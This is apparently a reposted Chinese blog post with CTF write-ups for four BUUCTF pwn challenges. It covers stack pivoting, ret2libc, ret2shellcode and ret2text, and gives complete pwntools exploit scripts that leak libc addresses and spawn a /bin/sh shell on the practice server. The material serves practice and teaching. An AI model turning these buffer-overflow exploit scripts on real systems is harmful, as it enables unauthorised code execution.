PWN-PRACTICE-BUUCTF-8
生活随笔
收集整理的這篇文章主要介紹了
PWN-PRACTICE-BUUCTF-8
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
PWN-PRACTICE-BUUCTF-8
- ciscn_2019_es_2
- jarvisoj_level3
- ez_pz_hackover_2016
- jarvisoj_tell_me_something
ciscn_2019_es_2
棧溢出,但是只能溢出8字節,覆蓋ebp和eip,考慮stack pivot,即棧遷移
參考:pwn-ciscn_2019_es_2(棧遷移)
jarvisoj_level3
棧溢出,ret2libc
from pwn import * #io=process('./jarvisoj_level3') io=remote('node4.buuoj.cn',26654) elf=ELF('./jarvisoj_level3') libc=ELF('./libc-2.23-x32.so') io.recvuntil('Input:\n') write_got=elf.got['write'] write_plt=elf.plt['write'] main_addr=elf.sym['main'] payload='a'*(0x88+4)+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(10) io.sendline(payload) write_addr=u32(io.recv(4)) print(hex(write_addr)) libc_base=write_addr-libc.sym['write'] system=libc_base+libc.sym['system'] binsh=libc_base+libc.search('/bin/sh\x00').next() io.recvuntil('Input:\n') payload='a'*(0x88+4)+p32(system)+p32(0xdead)+p32(binsh) io.sendline(payload) io.interactive()ez_pz_hackover_2016
'\x00’繞過strcmp,然后是棧溢出,ret2shellcode
參考:[BUUCTF]PWN——ez_pz_hackover_2016
我自己做的時候,想當然的以為想要構成棧溢出,要填充的數據量為ida分析出的dest的50個字節
實際上需要調試才能得到填充量應為0x16(帶"crashme\x00",不帶ebp)
覆蓋ebp和eip,最后加上shellcode,覆蓋eip應指向shellcode
所以shellcode相對于題目直接給出的s的地址的偏移也需要知道
eip處偏移為32,因為eip要指向shellcode,而shellcode跟在eip后面
所以shellcode偏移為32-4==28
jarvisoj_tell_me_something
棧溢出,ret2text
from pwn import * #io=process('./jarvisoj_tell_me_something') io=remote('node4.buuoj.cn',29268) elf=ELF('./jarvisoj_tell_me_something') flag_addr=elf.sym['good_game'] io.recvuntil('message:\n') payload='a'*(0x88)+p64(flag_addr) io.send(payload) io.interactive()總結
以上是生活随笔為你收集整理的PWN-PRACTICE-BUUCTF-8的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 45.98万元值得买吗?理想L9首发解析
- 下一篇: 6月下旬XGP新增:《永劫无间》《三国全